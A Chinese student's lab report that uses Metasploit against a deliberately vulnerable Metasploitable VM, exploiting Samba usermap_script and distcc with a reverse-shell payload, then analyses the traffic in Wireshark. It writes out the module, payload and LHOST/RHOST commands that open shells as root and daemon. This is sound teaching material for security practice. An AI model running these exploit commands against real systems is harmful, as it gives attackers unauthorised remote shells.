20252902 2025-2026-2 《网络攻防实践》第7周作业
(1)使用 Metasploit 进行 Linux 远程渗透攻击
任务:使用 Metasploit 渗透测试框架,攻击 Linux 靶机上的 Samba 服务 usermap_script 漏洞,获得目标 Linux 靶机的远程 Shell,并检查获取到的权限。主要步骤包括:
①启动 Metasploit 控制台;
②加载 exploit/multi/samba/usermap_script 攻击模块;
③选择合适的 Unix 反向连接 Shell 载荷;
④设置攻击机 IP、靶机 IP、监听端口等参数;
⑤执行渗透攻击;
⑥进入目标 Shell,查看当前用户身份和目标主机网络信息。
(2)实践作业:攻防对抗实践
攻击方:使用 Kali 中的 Metasploit,对 Metasploitable 靶机中存在的漏洞进行渗透攻击,获取远程控制权限。
防守方:使用 Wireshark 监听并分析攻击流量,识别攻击者 IP、目标 IP、目标端口、攻击发起时间、利用漏洞、连接过程以及成功后在命令行中输入的内容。
2.实验过程
本次实验使用 Kali 和 Metasploitable 两台虚拟机,二者处于同一网段,实验环境信息如下表所示:
| 名称 | IP 地址 | MAC 地址 | 角色 |
|---|---|---|---|
| Kali | 192.168.190.130 | 00:0C:29:CD:4A:26 | 攻击机 |
| Metasploitable | 192.168.190.131 | 00:0C:29:19:B8:26 | 靶机/防守抓包环境 |
Kali 端通过 ifconfig 查看本机网络配置,确认攻击机 IP 为 192.168.190.130。
Metasploitable 端通过 ifconfig 查看靶机网络配置,确认靶机 IP 为 192.168.190.131。
2.1 使用 Metasploit 进行 Samba 远程渗透攻击
首先在 Kali 中打开终端,输入 msfconsole 启动 Metasploit 框架。启动成功后可以看到 Metasploit 版本、模块数量等信息,说明控制台已正常进入。
在 Metasploit 控制台中输入 use exploit/multi/samba/usermap_script,加载 Samba 服务 usermap_script 漏洞利用模块。该漏洞利用的是 Samba 用户名映射脚本中的命令注入问题。
随后输入 show payloads 查看当前模块支持的载荷。实验中选择 Unix 命令 Shell 的反向连接载荷,便于攻击成功后由靶机主动回连 Kali。
设置攻击载荷为 cmd/unix/reverse,命令为 set payload cmd/unix/reverse。该载荷会在目标主机上执行命令并建立反向 Shell。
继续设置攻击参数:set LHOST 192.168.190.130 指定 Kali 攻击机地址,set RHOST 192.168.190.131 指定 Metasploitable 靶机地址。之后输入 show options 检查参数,确认 RHOSTS 为 192.168.190.131,RPORT 为 Samba 默认端口 139,LHOST 为 192.168.190.130,监听端口为 4444。
输入 exploit 执行攻击。终端显示反向 TCP 处理器已启动,随后出现 Command shell session 1 opened,说明 Kali 成功接收到靶机回连。进入 Shell 后输入 whoami,结果为 root,说明本次 Samba 漏洞利用获得了靶机的最高权限。
2.2 攻防对抗实践
#### 2.2.1 攻击方操作
完成 Samba 漏洞利用后,继续选择 Metasploitable 中的另一个漏洞进行实践。本次选择 `exploit/unix/misc/distcc_exec` 模块,该模块针对 distcc 服务的远程命令执行漏洞进行利用。
在 Metasploit 中输入 use exploit/unix/misc/distcc_exec 加载模块,并通过 show payloads 查看支持的载荷。
实验中选择 cmd/unix/reverse 作为攻击载荷,并设置参数:
set payload cmd/unix/reverse
set LHOST 192.168.190.130
set RHOST 192.168.190.131
再输入 show options 检查参数,可以看到目标端口 RPORT 为 3632,这是 distcc 服务常用端口。
确认参数无误后输入 exploit 执行攻击。控制台显示反向 TCP 处理器启动,并出现 Command shell session 1 opened,表示靶机成功回连到 Kali。


进入 Shell 后输入 ifconfig 查看靶机网络信息,确认当前 Shell 位于 192.168.190.131 的 Metasploitable 主机上。随后输入 whoami,回显为 daemon,说明本次通过 distcc 漏洞成功获得了靶机上的 daemon 用户权限。
2.2.2 防守方抓包与分析
在攻击执行过程中,使用 Wireshark 对 eth0 网卡进行抓包。通过过滤条件 tcp.stream eq 2 查看本次攻击建立后的 TCP 会话,可以看到通信双方分别为:
| 项目 | 内容 |
|---|---|
| 攻击者 IP | 192.168.190.130 |
| 目标 IP | 192.168.190.131 |
| 攻击利用端口 | 3632 |
| Shell 回连端口 | Kali 监听 4444,靶机使用临时端口回连 |
| 攻击发起时间 | 2026-04-28 05:02:12 -0400(Metasploit 回显时间) |
| 攻击利用漏洞 | distcc 远程命令执行漏洞 |
| 获得权限 | daemon |
Wireshark 抓包窗口中可以看到 192.168.190.130 与 192.168.190.131 之间的 TCP 报文。Follow TCP Stream 窗口中还原出了攻击成功后的命令行交互内容,包括 ifconfig、whoami 以及 daemon 用户回显。这说明防守方可以通过抓包分析攻击链路和攻击成功后的操作。
从数据包内容看,攻击者首先利用目标 3632 端口上的 distcc 服务建立连接,随后通过反向连接方式在 Kali 的 4444 端口获得 Shell。攻击成功后,攻击者在命令行中查看了靶机 IP 地址和当前用户身份。
3.学习中遇到的问题及解决
(1)实验开始时需要先确认两台虚拟机处于同一网段,否则 Metasploit 无法正常连接靶机。通过分别在 Kali 和 Metasploitable 中执行 ifconfig,确认 Kali 地址为 192.168.190.130,靶机地址为 192.168.190.131,二者网络连通条件满足实验要求。
(2)在 Metasploit 中设置参数时,需要区分 LHOST 和 RHOST。LHOST 是攻击机用于监听反向连接的地址,RHOST 是被攻击靶机地址。如果这两个参数填写错误,即使模块和载荷选择正确,也无法成功建立 Shell。
(3)在 distcc 实验中,获得的权限为 daemon,不是 root。这说明不同漏洞利用后获得的权限与目标服务运行身份有关,需要结合 whoami 的输出判断攻击结果。
(4)在 Wireshark 分析时,直接查看全部数据包不够直观。通过 TCP Stream 跟踪功能,可以把同一次连接中的命令交互还原出来,更容易分析攻击者输入过哪些命令。
4.学习感想和体会
通过本次实验,我对 Metasploit 漏洞利用流程有了更完整的理解。一次成功的渗透攻击并不只是执行 exploit,还需要先确认网络环境、选择正确模块、配置合适载荷,并在攻击后验证当前权限。
同时,通过 Wireshark 对攻击流量进行分析,我认识到防守方可以从网络通信中还原很多关键信息,例如攻击者 IP、目标 IP、端口、会话内容和攻击成功后的命令操作。攻击和防守结合起来看,能够更清楚地理解漏洞利用的全过程,也提醒我在实际网络环境中要重视服务暴露、权限控制和流量监测。

浙公网安备 33010602011771号